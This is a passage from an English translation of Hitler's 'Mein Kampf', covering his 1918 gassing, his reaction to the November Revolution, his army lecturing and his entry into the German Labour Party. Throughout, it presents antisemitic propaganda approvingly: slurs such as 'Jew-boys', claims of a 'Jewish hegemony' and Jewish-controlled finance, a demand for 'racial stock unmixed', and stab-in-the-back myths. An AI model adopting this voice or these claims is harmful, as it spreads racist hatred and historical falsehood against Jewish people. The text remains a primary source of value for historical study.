all +comparable to the frightfulness of our own former defensive battles. In +comparison with this offensive the battles fought on the Somme and in +Flanders remained in our memories as the most terrible of all horrors. + +At the end of September my division occupied, for the third time, those +positions which we had once taken by storm as young volunteers. What a +memory! + +Here we had received our baptism of fire, in October and November 1914. +With a burning love of the homeland in their hearts and a song on their +lips, our young regiment went into action as if going to a dance. The +dearest blood was given freely here in the belief that it was shed to +protect the freedom and independence of the Fatherland. + +In July 1917 we set foot for the second time on what we regarded as +sacred soil. Were not our best comrades at rest here, some of them +little more than boys--the soldiers who had rushed into death for their +country's sake, their eyes glowing with enthusiastic love. + +The older ones among us, who had been with the regiment from the +beginning, were deeply moved as we stood on this sacred spot where we +had sworn 'Loyalty and Duty unto Death'. Three years ago the regiment +had taken this position by storm; now it was called upon to defend it in +a gruelling struggle. + +With an artillery bombardment that lasted three weeks the English +prepared for their great offensive in Flanders. There the spirits of the +dead seemed to live again. The regiment dug itself into the mud, clung +to its shell-holes and craters, neither flinching nor wavering, but +growing smaller in numbers day after day. Finally the British launched +their attack on July 31st, 1917. + +We were relieved in the beginning of August. The regiment had dwindled +down to a few companies, who staggered back, mud-crusted, more like +phantoms than human beings. Besides a few hundred yards of shell-holes, +death was the only reward which the English gained. + +Now in the autumn of 1918 we stood for the third time on the ground we +had stormed in 1914. The village of Comines, which formerly had served +us as a base, was now within the fighting zone. Although little had +changed in the surrounding district itself, yet the men had become +different, somehow or other. They now talked politics. Like everywhere +else, the poison from home was having its effect here also. The young +drafts succumbed to it completely. They had come directly from home. + +During the night of October 13th-14th, the British opened an attack with +gas on the front south of Ypres. They used the yellow gas whose effect +was unknown to us, at least from personal experience. I was destined to +experience it that very night. On a hill south of Werwick, in the +evening of October 13th, we were subjected for several hours to a heavy +bombardment with gas bombs, which continued throughout the night with +more or less intensity. About midnight a number of us were put out of +action, some for ever. Towards morning I also began to feel pain. It +increased with every quarter of an hour; and about seven o'clock my eyes +were scorching as I staggered back and delivered the last dispatch I was +destined to carry in this war. A few hours later my eyes were like +glowing coals and all was darkness around me. + +I was sent into hospital at Pasewalk in Pomerania, and there it was that +I had to hear of the Revolution. + +For a long time there had been something in the air which was +indefinable and repulsive. People were saying that something was bound +to happen within the next few weeks, although I could not imagine what +this meant. In the first instance I thought of a strike similar to the +one which had taken place in spring. Unfavourable rumours were +constantly coming from the Navy, which was said to be in a state of +ferment. But this seemed to be a fanciful creation of a few isolated +young people. It is true that at the hospital they were all talking abut +the end of the war and hoping that this was not far off, but nobody +thought that the decision would come immediately. I was not able to read +the newspapers. + +In November the general tension increased. Then one day disaster broke +in upon us suddenly and without warning. Sailors came in motor-lorries +and called on us to rise in revolt. A few Jew-boys were the leaders in +that combat for the 'Liberty, Beauty, and Dignity' of our National +Being. Not one of them had seen active service at the front. Through the +medium of a hospital for venereal diseases these three Orientals had +been sent back home. Now their red rags were being hoisted here. + +During the last few days I had begun to feel somewhat better. The +burning pain in the eye-sockets had become less severe. Gradually I was +able to distinguish the general outlines of my immediate surroundings. +And it was permissible to hope that at least I would recover my sight +sufficiently to be able to take up some profession later on. That I +would ever be able to draw or design once again was naturally out of the +question. Thus I was on the way to recovery when the frightful hour +came. + +My first thought was that this outbreak of high treason was only a local +affair. I tried to enforce this belief among my comrades. My Bavarian +hospital mates, in particular, were readily responsive. Their +inclinations were anything but revolutionary. I could not imagine this +madness breaking out in Munich; for it seemed to me that loyalty to the +House of Wittelsbach was, after all, stronger than the will of a few +Jews. And so I could not help believing that this was merely a revolt in +the Navy and that it would be suppressed within the next few days. + +With the next few days came the most astounding information of my life. +The rumours grew more and more persistent. I was told that what I had +considered to be a local affair was in reality a general revolution. In +addition to this, from the front came the shameful news that they wished +to capitulate! What! Was such a thing possible? + +On November 10th the local pastor visited the hospital for the purpose +of delivering a short address. And that was how we came to know the +whole story. + +I was in a fever of excitement as I listened to the address. The +reverend old gentleman seemed to be trembling when he informed us that +the House of Hohen-zollern should no longer wear the Imperial Crown, +that the Fatherland had become a 'Republic', that we should pray to the +Almighty not to withhold His blessing from the new order of things and +not to abandon our people in the days to come. In delivering this +message he could not do more than briefly express appreciation of the +Royal House, its services to Pomerania, to Prussia, indeed, to the whole +of the German Fatherland, and--here he began to weep. A feeling of +profound dismay fell on the people in that assembly, and I do not think +there was a single eye that withheld its tears. As for myself, I broke +down completely when the old gentleman tried to resume his story by +informing us that we must now end this long war, because the war was +lost, he said, and we were at the mercy of the victor. The Fatherland +would have to bear heavy burdens in the future. We were to accept the +terms of the Armistice and trust to the magnanimity of our former +enemies. It was impossible for me to stay and listen any longer. +Darkness surrounded me as I staggered and stumbled back to my ward and +buried my aching head between the blankets and pillow. + +I had not cried since the day that I stood beside my mother's grave. +Whenever Fate dealt cruelly with me in my young days the spirit of +determination within me grew stronger and stronger. During all those +long years of war, when Death claimed many a true friend and comrade +from our ranks, to me it would have appeared sinful to have uttered a +word of complaint. Did they not die for Germany? And, finally, almost in +the last few days of that titanic struggle, when the waves of poison gas +enveloped me and began to penetrate my eyes, the thought of becoming +permanently blind unnerved me; but the voice of conscience cried out +immediately: Poor miserable fellow, will you start howling when there +are thousands of others whose lot is a hundred times worse than yours? +And so I accepted my misfortune in silence, realizing that this was the +only thing to be done and that personal suffering was nothing when +compared with the misfortune of one's country. + +So all had been in vain. In vain all the sacrifices and privations, in +vain the hunger and thirst for endless months, in vain those hours that +we stuck to our posts though the fear of death gripped our souls, and in +vain the deaths of two millions who fell in discharging this duty. Think +of those hundreds of thousands who set out with hearts full of faith in +their fatherland, and never returned; ought not their graves to open, so +that the spirits of those heroes bespattered with mud and blood should +come home and take vengeance on those who had so despicably betrayed the +greatest sacrifice which a human being can make for his country? Was it +for this that the soldiers died in August and September 1914, for this +that the volunteer regiments followed the old comrades in the autumn of +the same year? Was it for this that those boys of seventeen years of age +were mingled with the earth of Flanders? Was this meant to be the fruits +of the sacrifice which German mothers made for their Fatherland when, +with heavy hearts, they said good-bye to their sons who never returned? +Has all this been done in order to enable a gang of despicable criminals +to lay hands on the Fatherland? + +Was this then what the German soldier struggled for through sweltering +heat and blinding snowstorm, enduring hunger and thirst and cold, +fatigued from sleepless nights and endless marches? Was it for this that +he lived through an inferno of artillery bombardments, lay gasping and +choking during gas attacks, neither flinching nor faltering, but +remaining staunch to the thought of defending the Fatherland against the +enemy? Certainly these heroes also deserved the epitaph: + + Traveller, when you come to Germany, tell the Homeland that we lie + here, true to the Fatherland and faithful to our duty. (Note 13) + +[Note 13. Here again we have the defenders of Thermopylae recalled as the +prototype of German valour in the Great War. Hitler's quotation is a +German variant of the couplet inscribed on the monument erected at +Thermopylae to the memory of Leonidas and his Spartan soldiers who fell +defending the Pass. As given by Herodotus, who claims that he saw the +inscription himself, the original text may be literally translated thus: + + Go, tell the Spartans, thou who passeth by, + That here, obedient to their laws, we lie.] + +And at Home? But--was this the only sacrifice that we had to consider? +Was the Germany of the past a country of little worth? Did she not owe a +certain duty to her own history? Were we still worthy to partake in the +glory of the past? How could we justify this act to future generations? + +What a gang of despicable and depraved criminals! + +The more I tried then to glean some definite information of the terrible +events that had happened the more my head became afire with rage and +shame. What was all the pain I suffered in my eyes compared with this +tragedy? + +The following days were terrible to bear, and the nights still worse. To +depend on the mercy of the enemy was a precept which only fools or +criminal liars could recommend. During those nights my hatred +increased--hatred for the orignators of this dastardly crime. + +During the following days my own fate became clear to me. I was forced +now to scoff at the thought of my personal future, which hitherto had +been the cause of so much worry to me. Was it not ludicrous to think of +building up anything on such a foundation? Finally, it also became clear +to me that it was the inevitable that had happened, something which I +had feared for a long time, though I really did not have the heart to +believe it. + +Emperor William II was the first German Emperor to offer the hand of +friendship to the Marxist leaders, not suspecting that they were +scoundrels without any sense of honour. While they held the imperial +hand in theirs, the other hand was already feeling for the dagger. + +There is no such thing as coming to an understanding with the Jews. It +must be the hard-and-fast 'Either-Or.' + +For my part I then decided that I would take up political work. + + + + +CHAPTER VIII + + + +THE BEGINNING OF MY POLITICAL ACTIVITIES + + +Towards the end of November I returned to Munich. I went to the depot of +my regiment, which was now in the hands of the 'Soldiers' Councils'. As +the whole administration was quite repulsive to me, I decided to leave +it as soon as I possibly could. With my faithful war-comrade, +Ernst-Schmidt, I came to Traunstein and remained there until the camp +was broken up. In March 1919 we were back again in Munich. + +The situation there could not last as it was. It tended irresistibly to +a further extension of the Revolution. Eisner's death served only to +hasten this development and finally led to the dictatorship of the +Councils--or, to put it more correctly, to a Jewish hegemony, which +turned out to be transitory but which was the original aim of those who +had contrived the Revolution. + +At that juncture innumerable plans took shape in my mind. I spent whole +days pondering on the problem of what could be done, but unfortunately +every project had to give way before the hard fact that I was quite +unknown and therefore did not have even the first pre-requisite +necessary for effective action. Later on I shall explain the reasons why +I could not decide to join any of the parties then in existence. + +As the new Soviet Revolution began to run its course in Munich my first +activities drew upon me the ill-will of the Central Council. In the +early morning of April 27th, 1919, I was to have been arrested; but the +three fellows who came to arrest me did not have the courage to face my +rifle and withdrew just as they had arrived. + +A few days after the liberation of Munich I was ordered to appear before +the Inquiry Commission which had been set up in the 2nd Infantry +Regiment for the purpose of watching revolutionary activities. That was +my first incursion into the more or less political field. + +After another few weeks I received orders to attend a course of lectures +which were being given to members of the army. This course was meant to +inculcate certain fundamental principles on which the soldier could base +his political ideas. For me the advantage of this organization was that +it gave me a chance of meeting fellow soldiers who were of the same way +of thinking and with whom I could discuss the actual situation. We were +all more or less firmly convinced that Germany could not be saved from +imminent disaster by those who had participated in the November +treachery--that is to say, the Centre and the Social-Democrats; and also +that the so-called Bourgeois-National group could not make good the +damage that had been done, even if they had the best intentions. They +lacked a number of requisites without which such a task could never be +successfully undertaken. The years that followed have justified the +opinions which we held at that time. + +In our small circle we discussed the project of forming a new party. The +leading ideas which we then proposed were the same as those which were +carried into effect afterwards, when the German Labour Party was +founded. The name of the new movement which was to be founded should be +such that of itself, it would appeal to the mass of the people; for all +our efforts would turn out vain and useless if this condition were +lacking. And that was the reason why we chose the name +'Social-Revolutionary Party', particularly because the social principles +of our new organization were indeed revolutionary. + +But there was also a more fundamental reason. The attention which I had +given to economic problems during my earlier years was more or less +confined to considerations arising directly out of the social problem. +Subsequently this outlook broadened as I came to study the German policy +of the Triple Alliance. This policy was very largely the result of an +erroneous valuation of the economic situation, together with a confused +notion as to the basis on which the future subsistence of the German +people could be guaranteed. All these ideas were based on the principle +that capital is exclusively the product of labour and that, just like +labour, it was subject to all the factors which can hinder or promote +human activity. Hence, from the national standpoint, the significance of +capital depended on the greatness and freedom and power of the State, +that is to say, of the nation, and that it is this dependence alone +which leads capital to promote the interests of the State and the +nation, from the instinct of self-preservation and for the sake of its +own development. + +On such principles the attitude of the State towards capital would be +comparatively simple and clear. Its only object would be to make sure +that capital remained subservient to the State and did not allocate to +itself the right to dominate national interests. Thus it could confine +its activities within the two following limits: on the one side, to +assure a vital and independent system of national economy and, on the +other, to safeguard the social rights of the workers. + +Previously I did not recognize with adequate clearness the difference +between capital which is purely the product of creative labour and the +existence and nature of capital which is exclusively the result of +financial speculation. Here I needed an impulse to set my mind thinking +in this direction; but that impulse had hitherto been lacking. + +The requisite impulse now came from one of the men who delivered +lectures in the course I have already mentioned. This was Gottfried +Feder. + +For the first time in my life I heard a discussion which dealt with the +principles of stock-exchange capital and capital which was used for loan +activities. After hearing the first lecture delivered by Feder, the idea +immediately came into my head that I had now found a way to one of the +most essential pre-requisites for the founding of a new party. + +To my mind, Feder's merit consisted in the ruthless and trenchant way in +which he described the double character of the capital engaged in +stock-exchange and loan transaction, laying bare the fact that this +capital is ever and always dependent on the payment of interest. In +fundamental questions his statements were so full of common sense that +those who criticized him did not deny that AU FOND his ideas were sound +but they doubted whether it be possible to put these ideas into +practice. To me this seemed the strongest point in Feder's teaching, +though others considered it a weak point. + +It is not the business of him who lays down a theoretical programme to +explain the various ways in which something can be put into practice. +His task is to deal with the problem as such; and, therefore, he has to +look to the end rather than the means. The important question is whether +an idea is fundamentally right or not. The question of whether or not it +may be difficult to carry it out in practice is quite another matter. +When a man whose task it is to lay down the principles of a programme or +policy begins to busy himself with the question as to whether it is +expedient and practical, instead of confining himself to the statement +of the absolute truth, his work will cease to be a guiding star to those +who are looking about for light and leading and will become merely a +recipe for every-day iife. The man who lays down the programme of a +movement must consider only the goal. It is for the political leader to +point out the way in which that goal may be reached. The thought of the +former will, therefore, be determined by those truths that are +everlasting, whereas the activity of the latter must always be guided by +taking practical account of the circumstances under which those truths +have to be carried into effect. + +The greatness of the one will depend on the absolute truth of his idea, +considered in the abstract; whereas that of the other will depend on +whether or not he correctly judges the given realities and how they may +be utilized under the guidance of the truths established by the former. +The test of greatness as applied to a political leader is the success of +his plans and his enterprises, which means his ability to reach the goal +for which he sets out; whereas the final goal set up by the political +philosopher can never be reached; for human thought may grasp truths and +picture ends which it sees like clear crystal, though such ends can +never be completely fulfilled because human nature is weak and +imperfect. The more an idea is correct in the abstract, and, therefore, +all the more powerful, the smaller is the possibility of putting it into +practice, at least as far as this latter depends on human beings. The +significance of a political philosopher does not depend on the practical +success of the plans he lays down but rather on their absolute truth and +the influence they exert on the progress of mankind. If it were +otherwise, the founders of religions could not be considered as the +greatest men who have ever lived, because their moral aims will never be +completely or even approximately carried out in practice. Even that +religion which is called the Religion of Love is really no more than a +faint reflex of the will of its sublime Founder. But its significance +lies in the orientation which it endeavoured to give to human +civilization, and human virtue and morals. + +This very wide difference between the functions of a political +philosopher and a practical political leader is the reason why the +qualifications necessary for both functions are scarcely ever found +associated in the same person. This applies especially to the so-called +successful politician of the smaller kind, whose activity is indeed +hardly more than practising the art of doing the possible, as Bismarck +modestly defined the art of politics in general. If such a politician +resolutely avoids great ideas his success will be all the easier to +attain; it will be attained more expeditely and frequently will be more +tangible. By reason of this very fact, however, such success is doomed +to futility and sometimes does not even survive the death of its author. +Generally speaking, the work of politicians is without significance for +the following generation, because their temporary success was based on +the expediency of avoiding all really great decisive problems and ideas +which would be valid also for future generations. + +To pursue ideals which will still be of value and significance for the +future is generally not a very profitable undertaking and he who follows +such a course is only very rarely understood by the mass of the people, +who find beer and milk a more persuasive index of political values than +far-sighted plans for the future, the realization of which can only take +place later on and the advantages of which can be reaped only by +posterity. + +Because of a certain vanity, which is always one of the blood-relations +of unintelligence, the general run of politicians will always eschew +those schemes for the future which are really difficult to put into +practice; and they will practise this avoidance so that they may not +lose the immediate favour of the mob. The importance and the success of +such politicians belong exclusively to the present and will be of no +consequence for the future. But that does not worry small-minded people; +they are quite content with momentary results. + +The position of the constructive political philosopher is quite +different. The importance of his work must always be judged from the +standpoint of the future; and he is frequently described by the word +WELTFREMD, or dreamer. While the ability of the politician consists in +mastering the art of the possible, the founder of a political system +belongs to those who are said to please the gods only because they wish +for and demand the impossible. They will always have to renounce +contemporary fame; but if their ideas be immortal, posterity will grant +them its acknowledgment. + +Within long spans of human progress it may occasionally happen that the +practical politician and political philosopher are one. The more +intimate this union is, the greater will be the obstacles which the +activity of the politician will have to encounter. Such a man does not +labour for the purpose of satisfying demands that are obvious to every +philistine, but he reaches out towards ends which can be understood only +by the few. His life is torn asunder by hatred and love. The protest of +his contemporaries, who do not understand the man, is in conflict with +the recognition of posterity, for whom he also works. + +For the greater the work which a man does for the future, the less will +he be appreciated by his contemporaries. His struggle will accordingly +be all the more severe, and his success all the rarer. When, in the +course of centuries, such a man appears who is blessed with success +then, towards the end of his days, he may have a faint prevision of his +future fame. But such great men are only the Marathon runners of +history. The laurels of contemporary fame are only for the brow of the +dying hero. + +The great protagonists are those who fight for their ideas and ideals +despite the fact that they receive no recognition at the hands of their +contemporaries. They are the men whose memories will be enshrined in the +hearts of the future generations. It seems then as if each individual +felt it his duty to make retroactive atonement for the wrong which great +men have suffered at the hands of their contemporaries. Their lives and +their work are then studied with touching and grateful admiration. +Especially in dark days of distress, such men have the power of healing +broken hearts and elevating the despairing spirit of a people. + +To this group belong not only the genuinely great statesmen but all the +great reformers as well. Beside Frederick the Great we have such men as +Martin Luther and Richard Wagner. + +When I heard Gottfried Feder's first lecture on 'The Abolition of the +Interest-Servitude', I understood immediately that here was a truth of +transcendental importance for the future of the German people. The +absolute separation of stock-exchange capital from the economic life of +the nation would make it possible to oppose the process of +internationalization in German business without at the same time +attacking capital as such, for to do this would jeopardize the +foundations of our national independence. I clearly saw what was +developing in Germany and I realized then that the stiffest fight we +would have to wage would not be against the enemy nations but against +international capital. In Feder's speech I found an effective +rallying-cry for our coming struggle. + +Here, again, later events proved how correct was the impression we then +had. The fools among our bourgeois politicians do not mock at us on this +point any more; for even those politicians now see--if they would speak +the truth--that international stock-exchange capital was not only the +chief instigating factor in bringing on the War but that now when the +War is over it turns the peace into a hell. + +The struggle against international finance capital and loan-capital has +become one of the most important points in the programme on which the +German nation has based its fight for economic freedom and independence. + +Regarding the objections raised by so-called practical people, the +following answer must suffice: All apprehensions concerning the fearful +economic consequences that would follow the abolition of the servitude +that results from interest-capital are ill-timed; for, in the first +place, the economic principles hitherto followed have proved quite fatal +to the interests of the German people. The attitude adopted when the +question of maintaining our national existence arose vividly recalls +similar advice once given by experts--the Bavarian Medical College, for +example--on the question of introducing railroads. The fears expressed +by that august body of experts were not realized. Those who travelled in +the coaches of the new 'Steam-horse' did not suffer from vertigo. Those +who looked on did not become ill and the hoardings which had been +erected to conceal the new invention were eventually taken down. Only +those blinds which obscure the vision of the would-be 'experts', have +remained. And that will be always so. + +In the second place, the following must be borne in mind: Any idea may +be a source of danger if it be looked upon as an end in itself, when +really it is only the means to an end. For me and for all genuine +National-Socialists there is only one doctrine. PEOPLE AND FATHERLAND. + +What we have to fight for is the necessary security for the existence +and increase of our race and people, the subsistence of its children and +the maintenance of our racial stock unmixed, the freedom and +independence of the Fatherland; so that our people may be enabled to +fulfil the mission assigned to it by the Creator. + +All ideas and ideals, all teaching and all knowledge, must serve these +ends. It is from this standpoint that everything must be examined and +turned to practical uses or else discarded. Thus a theory can never +become a mere dead dogma since everything will have to serve the +practical ends of everyday life. + +Thus the judgment arrived at by Gottfried Feder determined me to make a +fundamental study of a question with which I had hitherto not been very +familiar. + +I began to study again and thus it was that I first came to understand +perfectly what was the substance and purpose of the life-work of the +Jew, Karl Marx. His CAPITAL became intelligible to me now for the first +time. And in the light of it I now exactly understood the fight of the +Social-Democrats against national economics, a fight which was to +prepare the ground for the hegemony of a real international and +stock-exchange capital. + +In another direction also this course of lectures had important +consequences for me. + +One day I put my name down as wishing to take part in the discussion. +Another of the participants thought that he would break a lance for the +Jews and entered into a lengthy defence of them. This aroused my +opposition. An overwhelming number of those who attended the lecture +course supported my views. The consequence of it all was that, a few +days later, I was assigned to a regiment then stationed at Munich and +given a position there as 'instruction officer'. + +At that time the spirit of discipline was rather weak among those +troops. It was still suffering from the after-effects of the period when +the Soldiers' Councils were in control. Only gradually and carefully +could a new spirit of military discipline and obedience be introduced in +place of 'voluntary obedience', a term which had been used to express +the ideal of military discipline under Kurt Eisner's higgledy-piggledy +regime. The soldiers had to be taught to think and feel in a national +and patriotic way. In these two directions lay my future line of action. + +I took up my work with the greatest delight and devotion. Here I was +presented with an opportunity of speaking before quite a large audience. +I was now able to confirm what I had hitherto merely felt, namely, that +I had a talent for public speaking. My voice had become so much better +that I could be well understood, at least in all parts of the small hall +where the soldiers assembled. + +No task could have been more pleasing to me than this one; for now, +before being demobilized, I was in a position to render useful service +to an institution which had been infinitely dear to my heart: namely, +the army. + +I am able to state that my talks were successful. During the course of +my lectures I have led back hundreds and even thousands of my fellow +countrymen to their people and their fatherland. I 'nationalized' these +troops and by so doing I helped to restore general discipline. + +Here again I made the acquaintance of several comrades whose thought ran +along the same lines as my own and who later became members of the first +group out of which the new movement developed. + + + + +CHAPTER IX + + + +THE GERMAN LABOUR PARTY + + +One day I received an order from my superiors to investigate the nature +of an association which was apparently political. It called itself 'The +German Labour Party' and was soon to hold a meeting at which Gottfried +Feder would speak. I was ordered to attend this meeting and report on +the situation. + +The spirit of curiosity in which the army authorities then regarded +political parties can be very well understood. The Revolution had +granted the soldiers the right to take an active part in politics and it +was particularly those with the smallest experience who had availed +themselves of this right. But not until the Centre and the +Social-Democratic parties were reluctantly forced to recognize that the +sympathies of the soldiers had turned away from the revolutionary +parties towards the national movement and the national reawakening, did +they feel obliged to withdraw from the army the right to vote and to +forbid it all political activity. + +The fact that the Centre and Marxism had adopted this policy was +instructive, because if they had not thus curtailed the 'rights of the +citizen'--as they described the political rights of the soldiers after +the Revolution--the government which had been established in November +1918 would have been overthrown within a few years and the dishonour and +disgrace of the nation would not have been further prolonged. At that +time the soldiers were on the point of taking the best way to rid the +nation of the vampires and valets who served the cause of the Entente in +the interior of the country. But the fact that the so-called 'national' +parties voted enthusiastically for the doctrinaire policy of the +criminals who organized the Revolution in November (1918) helped also to +render the army ineffective as an instrument of national restoration and +thus showed once again where men might be led by the purely abstract +notions accepted by these most gullible people. + +The minds of the bourgeois middle classes had become so fossilized that +they sincerely believed the army could once again become what it had +previously been, namely, a rampart of German valour; while the Centre +Party and the Marxists intended only to extract the poisonous tooth of +nationalism, without which an army must always remain just a police +force but can never be in the position of a military organization +capable of fighting against the outside enemy. This truth was +sufficiently proved by subsequent events. + +Or did our 'national' politicians believe, after all, that the +development of our army could be other than national? This belief might +be possible and could be explained by the fact that during the War they +were not soldiers but merely talkers. In other words, they were +parliamentarians, and, as such, they did not have the slightest idea of +what was passing in the hearts of those men who remembered the greatness +of their own past and also remembered that they had once been the first +soldiers in the world. + +I decided to attend the meeting of this Party, which had hitherto been +entirely unknown to me. When I arrived that evening in the guest room of +the former Sternecker Brewery--which has now become a place of +historical significance for us--I found approximately 20-25 persons +present, most of them belonging to the lower classes. + +The theme of Feder's lecture was already familiar to me; for I had heard +it in the lecture course I have spoken of. Therefore, I could +concentrate my attention on studying the society itself. + +The impression it made upon me was neither good nor bad. I felt that +here was just another one of these many new societies which were being +formed at that time. In those days everybody felt called upon to found a +new Party whenever he felt displeased with the course of events and had +lost confidence in all the parties already existing. Thus it was that +new associations sprouted up all round, to disappear just as quickly, +without exercising any effect or making any noise whatsoever. Generally +speaking, the founders of such associations did not have the slightest +idea of what it means to bring together a number of people for the +foundations of a party or a movement. Therefore these associations +disappeared because of their woeful lack of anything like an adequate +grasp of the necessities of the situation. + +My opinion of the 'German Labour Party' was not very different after I +had listened to their proceedings for about two hours. I was glad when +Feder finally came to a close. I had observed enough and was just about +to leave when it was announced that anybody who wished was free to open +a discussion. Thereupon, I decided to remain. But the discussion seemed +to proceed without anything of vital importance being mentioned, when +suddenly a 'professor' commenced to speak. He opened by throwing doubt +on the accuracy of what Feder had said, and then. after Feder had +replied very effectively, the professor suddenly took up his position on +what he called 'the basis of facts,' but before this he recommended the +young party most urgently to introduce the secession of Bavaria from +Prussia as one of the leading proposals in its programme. In the most +self-assured way, this man kept on insisting that German-Austria would +join Bavaria and that the peace would then function much better. He made +other similarly extravagant statements. At this juncture I felt bound to +ask for permission to speak and to tell the learned gentleman what I +thought. The result was that the honourable gentleman who had last +spoken slipped out of his place, like a whipped cur, without uttering a +sound. While I was speaking the audience listened with an expression of +surprise on their faces. When I was just about to say good-night to the +assembly and to leave, a man came after me quickly and introduced +himself. I did not grasp the name correctly; but he placed a little book +in my hand, which was obviously a political pamphlet, and asked me very +earnestly to read it. + +I was quite pleased; because in this way, I could come to know about +this association without having to attend its tiresome meetings. +Moreover, this man, who had the appearance of a workman, made a good +impression on me. Thereupon, I left the hall. + +At that time I was living in one of the barracks of the 2nd Infantry +Regiment. I had a little room which still bore the unmistakable traces +of the Revolution. During the day I was mostly out, at the quarters of +Light Infantry No. 41 or else attending meetings or lectures, held at +some other branch of the army. I spent only the night at the quarters +where I lodged. Since I usually woke up about five o'clock every morning +I got into the habit of amusing myself with watching little mice which +played around in my small room. I used to place a few pieces of hard +bread or crust on the floor and watch the funny little beasts playing +around and enjoying themselves with these delicacies. I had suffered so +many privations in my own life that I well knew what hunger was and +could only too well picture to myself the pleasure these little +creatures were experiencing. + +So on the morning after the meeting I have mentioned, it happened that +about five o'clock I lay fully awake in bed, watching the mice playing +and vying with each other. As I was not able to go to sleep again, I +suddenly remembered the pamphlet that one of the workers had given me at +the meeting. It was a small pamphlet of which this worker was the +author. In his little book he described how his mind had thrown off the +shackles of the Marxist and trades-union phraseology, and that he had +come back to the nationalist ideals. That was the reason why he had +entitled his little book: "My Political Awakening". The pamphlet secured +my attention the moment I began to read, and I read it with interest to +the end. The process here described was similar to that which I had +experienced in my own case ten years previously. Unconsciously my own +experiences began to stir again in my mind. During that day my thoughts +returned several times to what I had read; but I finally decided to give +the matter no further attention. A week or so later, however, I received +a postcard which informed me, to my astonishment, that I had been +admitted into the German Labour Party. I was asked to answer this +communication and to attend a meeting of the Party Committee on +Wednesday next. + +This manner of getting members rather amazed me, and I did not know +whether to be angry or laugh at it. Hitherto I had not any idea of +entering a party already in existence but wanted to found one of my own. +Such an invitation as I now had received I looked upon as entirely out +of the question for me. + +I was about to send a written reply when my curiosity got the better of +me, and I decided to attend the gathering at the date assigned, so that +I might expound my principles to these gentlemen in person. + +Wednesday came. The tavern in which the meeting was to take place was +the 'Alte Rosenbad' in the Herrnstrasse, into which apparently only an +occasional guest wandered. This was not very surprising in the year +1919, when the bills of fare even at the larger restaurants were only +very modest and scanty in their pretensions and thus not very attractive +to clients. But I had never before heard of this restaurant. + +I went through the badly-lighted guest-room, where not a single guest +was to be seen, and searched for the door which led to the side room; +and there I was face-to-face with the 'Congress'. Under the dim light +shed by a grimy gas-lamp I could see four young people sitting around a +table, one of them the author of the pamphlet. He greeted me cordially +and welcomed me as a new member of the German Labour Party. + +I was taken somewhat aback on being informed that actually the National +President of the Party had not yet come; so I decided that I would keep +back my own exposition for the time being. Finally the President +appeared. He was the man who had been chairman of the meeting held in +the Sternecker Brewery, when Feder spoke. + +My curiosity was stimulated anew and I sat waiting for what was going to +happen. Now I got at least as far as learning the names of the gentlemen +who had been parties to the whole affair. The REICH National President +of the Association was a certain Herr Harrer and the President for the +Munich district was Anton Drexler. + +The minutes of the previous meeting were read out and a vote of +confidence in the secretary was passed. Then came the treasurer's +report. The Society possessed a total fund of seven marks and fifty +pfennigs (a sum corresponding to 7s. 6d. in English money at par), +whereupon the treasurer was assured that he had the confidence of the +members. This was now inserted in the minutes. Then letters of reply +which had been written by the Chairman were read; first, to a letter +received from Kiel, then to one from Düsseldorf and finally to one from +Berlin. All three replies received the approval of all present. Then the +incoming letters were read--one from Berlin, one from Düsseldorf and one +from Kiel. The reception of these letters seemed to cause great +satisfaction. This increasing bulk of correspondence was taken as the +best and most obvious sign of the growing importance of the German +Labour Party. And then? Well, there followed a long discussion of the +replies which would be given to these newly-received letters. + +It was all very awful. This was the worst kind of parish-pump clubbism. +And was I supposed to become a member of such a club? + +The question of new members was next discussed--that is to say, the +question of catching myself in the trap. + +I now began to ask questions. But I found that, apart from a few general +principles, there was nothing--no programme, no pamphlet, nothing at all +in print, no card of membership, not even a party stamp, nothing but +obvious good faith and good intentions. + +I no longer felt inclined to laugh; for what else was all this but a +typical sign of the most complete perplexity and deepest despair in +regard to all political parties, their programmes and views and +activities? The feeling which had induced those few young people to join +in what seemed such a ridiculous enterprise was nothing but the call of +the inner voice which told them--though more intuitively than +consciously--that the whole party system as it had hitherto existed was +not the kind of force that could restore the German nation or repair the +damages that had been done to the German people by those who hitherto +controlled the internal affairs of the nation. I quickly read through +the list of principles that formed the platform of the party. These +principles were stated on typewritten sheets. Here again I found +evidence of the spirit of longing and searching, but no sign whatever of +a knowledge of the conflict that had to be fought. I myself had +experienced the feelings which inspired those people. It was the longing +for a movement which should be more than a party, in the hitherto +accepted meaning of that word. + +When I returned to my room in the barracks that evening I had formed a +definite opinion on this association and I was facing the most difficult +problem of my life. Should I join this party or refuse? + +From the side of the intellect alone, every consideration urged me to +refuse; but my feelings troubled me. The more I tried to prove to myself +how senseless this club was, on the whole, the more did my feelings +incline me to favour it. During the following days I was restless. + +I began to consider all the pros and cons. I had long ago decided to +take an active part in politics. The fact that I could do so only +through a new movement was quite clear to me; but I had hitherto lacked +the impulse to take concrete action. I am not one of those people who +will begin something to-day and just give it up the next day for the +sake of something new. That was the main reason which made it so +difficult for me to decide in joining something newly founded; for this +must become the real fulfilment of everything I dreamt, or else it had +better not be started at all. I knew that such a decision should bind me +for ever and that there could be no turning back. For me there could be +no idle dallying but only a cause to be championed ardently. I had +already an instinctive feeling against people who took up everything, +but never carried anything through to the end. I loathed these +Jacks-of-all-Trades, and considered the activities of such people to be +worse than if they were to remain entirely quiescent. + +Fate herself now seemed to supply the finger-post that pointed out the +way. I should never have entered one of the big parties already in +existence and shall explain my reasons for this later on. This ludicrous +little formation, with its handful of members, seemed to have the unique +advantage of not yet being fossilized into an 'organization' and still +offered a chance for real personal activity on the part of the +individual. Here it might still be possible to do some effective work; +and, as the movement was still small, one could all the easier give it +the required shape. Here it was still possible to determine the +character of the movement, the aims to be achieved and the road to be +taken, which would have been impossible in the case of the big parties +already existing. + +The longer I reflected on the problem, the more my opinion developed +that just such a small movement would best serve as an instrument to +prepare the way for the national resurgence, but that this could never +be done by the political parliamentary parties which were too firmly +attached to obsolete ideas or had an interest in supporting the new +regime. What had to be proclaimed here was a new WELTANSCHAUUNG and not +a new election cry. + +It was, however, infinitely difficult to decide on putting the intention +into practice. What were the qualifications which I could bring to the +accomplishment of such a task? + +The fact that I was poor and without resources could, in my opinion, be +the easiest to bear. But the fact that I was utterly unknown raised a +more difficult problem. I was only one of the millions which Chance +allows to exist or cease to exist, whom even their next-door neighbours +will not consent to know. Another difficulty arose from the fact that I +had not gone through the regular school curriculum. + +The so-called 'intellectuals' still look down with infinite +superciliousness on anyone who has not been through the prescribed +schools and allowed them to pump the necessary knowledge into him. The +question of what a man can do is never asked but rather, what has he 